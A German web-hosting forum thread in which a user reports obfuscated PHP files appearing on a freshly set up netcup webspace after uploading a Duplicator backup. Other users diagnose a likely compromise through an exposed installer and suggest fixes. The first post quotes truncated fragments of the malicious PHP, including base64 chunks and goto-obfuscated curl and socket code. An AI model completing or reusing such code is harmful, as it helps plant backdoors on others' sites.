Virus auf Webspace / Frisch zu netcup gezogen hilfe

    Hallo


    ich bin echt bissel traurig zu Weihnachten bin ich zu netcup gewechselt. Nun habe ich kaum was eingerichtet am anfang warn irgendwie mehrere Accounts erstellt worden das System hat mich mehrmals eingerichtet. Nun habe ich endlich nur noch 1 Account aaaaaber

    ich habe ganz merkwürdige Dateien in allen meinen Dateiordnern für die jeweiligen Domains


    zb wp-omo.php von 2019 inhgaltlich <?php
    $z = "";
    $z .= "UEQ5";
    $z .= "d2FI";
    $z .= "QUtK";
    ..

    oder auch <?php define('A', 'jan45.tphu5583htr/giftmall::?_[0:1]=^^!!|items/[word]/^^!!.htm::'); goto hiaac; IeyQ_: ABP2h: goto gX5N_; gX5N_: function rmWYt($SzNJP, $n0Num = array()) { goto YLwgw; IIbnU: try { goto O6xd8; bA4B7: if (!($VKOkC == 0)) { goto azcBk; } goto Cc2aD; U2WlV: if (!true) { goto a_yPI; } goto u8a4i; egaI4: curl_setopt($YiZhl, CURLOPT_POST, 1); goto C4DzR; fSLfd: z29gY: goto U2WlV; qcmMW: curl_setopt($YiZhl, CURLOPT_RETURNTRANSFER, 1); goto ofHmr; uWdDl: $hQZHd = ''; goto fSLfd; QVktw: $xgM26 = "\x47\x45\x54"; goto V_WB_; sT7mt: if (!$o6kZW) { goto CthHi; } goto SBkJU; yH3gH: if (empty($n0Num)) { goto jdNew; } goto egaI4; ewLEM: goto a_yPI; goto ryrhW; pVyDO: curl_setopt($YiZhl, CURLOPT_CONNECTTIMEOUT, 0); goto qcmMW; g4rA6: $bJ3kC = stream_socket_client($u4KFA, $gBG7F, $uZJDn, 45); goto g0R1G; rRPJY: $YiZhl = curl_init(); goto EfCC0; gOEak: $k9qvs = isset($J6MDA[0]) ? $J6MDA[0] : ''; goto il0zJ; PextM: BEWGs: goto a3XdJ; V_WB_: $k9qvs =

    das Index Php dateien und so weiter ich hab die aber noch hoch geladen ich habe nur mein Backup via Dublicator Plugin (2 Dateien ) hochgeladen leider hat am anfang hier was nicht geklappt, da hat der support sich irgendwann mal rangesetzt .

    Nun auf einmal diese merkwürdigen Datein ich traue mich überhaupt nicht irgendwas auf dem webspace zu machen. ich weiß nicht einmal wie der inhalt eigentlich aussehen muss vom stammverzeichniss


    Der Supoort hilft überhaupt nicht.


    Wenn ich das nicht bald hin bekomme werde ich wohl wieder zu A l l Ink ... zurück da lief alles super


    Ich weiß nicht was ich machen soll und die Dateien lassen sich auch nicht löschen

    Nutzt du Wordpress?
    Wurde das auch aktuell gehalten (durch dich)?
    Die kryptischen Dateien deuten darauf hin, dass irgendeine Sicherheitslücke z.B. in Wordpress, einem der Plugins genutzt wurde um sich in deinen Webspace zu hacken um dort zusätzliche Scripte zu hinterlegen und vermutlich auch Teile deiner Wordpress-Installation zu überschreiben.

    Das ist erstmal kein Netcup Problem, sondern mit dem was Du auf dem Webspace zu verantworten hast.

    Weiteres Vorgehen: am Besten alles löschen und aus einem Backup wiederherstellen und WP + Plugins aktualisieren.

    ja nutze ich genau

    aber ich habe bei netcup noch nicht einmal eine webseite installier habe nur folgende files hochgeladen : installer.php und 20251222_name webseite_10406dccdf9582a79556_20251222204005_archive.zip das sind zwei dateien von dublicator ein free plugin um backups zu erstellen.


    das habe ich hochgeladen und wollte mit der install.php installieren ging aber nicht weil ich die rechte dazu irgendwie nicht hatte. das war alles.


    eine woche später ist mein webspace voller komischer dateien überall und traffic in diesem monat 32 gb obwohl ich keine einzige webseie hochgeladen habe.


    Was soll ich nur tun :( netcup ist extrem technisch man kann so viel einstellen das ist nicht einfach zu verstehen

    Der Kreis schliesst sich - das VibeCode Plugin basiert in Zukunft auf den Erkenntnissen der KI die vorher geschickt wurde Schwachstellen zu finden. Wie gut dass es nur ein paar WordPress Seiten im Internet gibt.

    ich arbeite gerade an den Bannern für meine statische Webseiten Kampagne - tschüß WordPress - Moin Jekyll ... oder so, muss ich noch ausarbeiten. hackuni Brauchst Du denn überhaupt WordPress für die Website?

    nologin.jpg

    The universe tends toward maximum irony. Don't push it.

    2 Mal editiert, zuletzt von webdesignheld (28. März 2026 um 20:48)

    Ich schalte im Webspace immer php und den nginx Übersetzer aus, dann ist Ruhe. Im DNS der Domain wird dann noch der DB Eintrag gelöscht, JavaScript wird verboten und gut ist. Die Seite lädt dann natürlich in 0,3 Sekunden aber damit kann ich leben.

    IMG_4556.jpeg

    The universe tends toward maximum irony. Don't push it.

    Einmal editiert, zuletzt von webdesignheld (29. März 2026 um 09:05)

    leider habe ich keine zeit gehabt mich zu melden.

    Der Support meint ich soll die Dateien einfach löschen, das kann ich aber nicht erhalte Fehler das die Dateien nicht gelöscht werden können. Auch nach Premission (alles angehakt) nichts geht. Ich bin am verzweifeln. Was kann ich noch machen? Wie ich das ganze via SSH mache weiß ich leider nicht


    Ich kenne mich leider nicht so gut aus. Wenn ihr eine Hilfe habt könnt ihr mir sagen wie ich das dann mache, oder Keywords geben damit ich das ergoogeln kann.

    Ich hoffe hier kann mir jemand helfen, sonst ist der ganze Space umsonst gekauft ;(


    Datenbanken (keine zu finden alles leer)
    Verschiedene WP und andere Files im FTP zu finden und viele davon mit merkwürdigen Codes
    weder kann ich sie löschen noch bringt das ändern der Premission etwas
    Geplante Aufgaben / Cronejobs keine verhanden


    Dateien im Papierkorb können auch nicht gelöscht werden:
    filemng failed: rm: cannot remove '/var/www/vhosts/hosting232915.ae9e7.netcup.net/.trash/craftymasterpiece.1.de/httpdocs/wp-content': Permission denied
    rm: cannot remove '/var/www/vhosts/hosting232915.ae9e7.netcup.net/.trash/craftymasterpiece.1.de/httpdocs/.htaccess': Permission denied
    rm: cannot remove '/var/www/vhosts/hosting232915.ae9e7.netcup.net/.trash/craftymasterpiece.1.de/httpdocs/index.php': Permission denied
    filemng: Error occurred during /bin/rm command.


    mit viel mühe habe ich einige Dateien löschen können. Allerdings entstehen für 3 Domains die Daten immer wieder neu eine art Wordpress Ordner und index Dateien im Ordner /domain.de/httpdocs/ die ich wieder nicht löschen kann

    so wie das aussieht, ist das ein normales netcup webhosting/plesk. potentiell wurden die dateien einfach nur auf read-only gestellt. hatten wir ja an anderer stelle schonmal. die permissions müssen rekursiv für ordner auf 755 und für dateien auf 644 gestellt werden. dann klappt es auch mit dem löschen. wichtig ist rekursiv ! wenn nur die Rechte für irgendeinen Hauptordner geändert werden, hilft das natürlich wenig.

    Benutze das webhosting selber nicht, weiss also nicht, ob es im filemanager UI überhaupt die Möglichkeit gibt, permissions rekursiv anzupassen. und auch via FTP geht das vermutlich nicht mit allen clients.

    Das ist doch wie fahren ohne Führerschein. Das Ding fährt gerade an die Wand, weil der Fahrer keine Ahnung vom Steuern hat.

    Man wird trotzdem für jeden Unfall zur Verantwortung gezogen, ob man nun weiß wie es geht oder nicht. Mein gut gemeinter Rat: Wenn man so wenig Ahnung hat, ist ein Webspacepaket mit den Möglichkeiten, die hier geboten werden, nichts für Dich. Ordere Dir ein fertig gehostetes Ding mit grafischer Oberfläche, bei der Du Dich nicht um die Technik darunter oder Updates kümmern musst. Oder lerne sofort sehr sehr viel.

    Und schreib mal vernünftig, so viel Achtung vor den Helfenden muss sein.

    RS 2000 G12 Pro BW25 (8C EPYC 9645, 16GB, 1TB) | RS 500 G12 BW25 (2C EPYC 9645, 4GB, 128GB) | RS Cyber Quack (1C,2GB,40GB)

    Ja aber dann helft mir doch die Ahnung zu erhalten. Bislang war ich bei 1nem Webspace und dort gab es keine großen Einstellungen und co. Ich muss das ja auch irgendwann lernen


    TBT ja du hast ja recht der vorhergehende war passender, ein paar einstellungen aber ansonsten nichts. Das hab ich ja nicht wissen können das es hier so viel mehr ist und nichts erklärt bzw geholfen wird. Mein Abo läuft noch bis Dezember. Schön wie viel geld man so verbraten kann. Aber du hast recht ich gebe auf, es will mir ja niemand helfen zum lernen.

    Zitat von hackuni

    Ja aber dann helft mir doch die Ahnung zu erhalten. Bislang war ich bei 1nem Webspace und dort gab es keine großen Einstellungen und co. Ich muss das ja auch irgendwann lernen

    wie im anderen topic schon geschrieben, Du lieferst viel zu wenig Informationen, als dass man Dir helfen könnte.
    und auf alles, was ggf. schon geschrieben wurde, bekommt man auch keine richtige Rückmeldung, was genau Du davon vielleicht probiert hast und was das Ergebnis ist.

    "geht nicht" wird in jedem Kontext immer viel zu wenig sein, um zu helfen.

    also, was hast Du bisher versucht, um das zu beheben. IM DETAIL, also ala "ich habe im web filemanager dies oder jenes angeklickt, um diese oder jene Datei oder Ordner zu löschen" etc.

    warum das wichtig ist: bestimmte Dateien die Du im filemanager oder per ftp/ssh siehst, gehören zum System (und nicht zu ominösen Viren). sie haben einen Zweck und können ggf. deshalb nicht gelöscht werden, oder werden selbst nach dem Löschen neu erstellt.

    Das Hosting verwendet unterliegend Plesk, das ist eine Software, die eben die technischen Grundlagen managed. In Deinem webhosting abo hast Du dann eine sog. subscription auf die Deine Domains aufgeschaltet werden. Im Filemanager siehst Du dann zB ordner mit Deinen Domainnamen und darin unterordner wie zB htdocs ... in diesen gehören normalerweise Deine webseiten Dateien.

    was den ominösen Virus und die vielen files angehen: Du schreibst du hast ein duplicator backup hochgeladen und eine install.php
    während Du selber vielleicht nicht in der Lage warst diese zu benutzen (_welche_ fehlenden Rechte wurden denn bemängelt? gibt es eine exakte Fehlermeldung?), gibt es im Netz vermutlich jede Menge Bots, die genau diese install.php finden und als Einfallstor nutzen, um irgendwelche Schadsoftware abzulegen und diese dann auszuführen...

    Das ist nur eine _mögliche_ Ursache des Problems, es kann auch reichlich andere geben. Und so lange Du diese Ursachen nicht beseitig hast, nutzt auch das Löschen einzelner Ordner oder Dateien nichts, denn die bots sind rund um die Uhr aktiv und werden immer wieder auf solche offenen Angriffsstellen zugreifen.

    Das hat aber null mit netcup und deren Hosting zu tun, das kann Dir bei jedem Hoster passieren, wenn Du Dein eigenes Hosting nicht absicherst oder womöglich solche Dateien offen rumliegen lässt.
    Wenn Du einen support brauchst, der Dir dabei hilft, darfst Du kein "unmanaged" Produkt kaufen, sondern musst etwas mehr Geld in die Hand nehmen, und ein passendes 'managed' Produkt nutzen.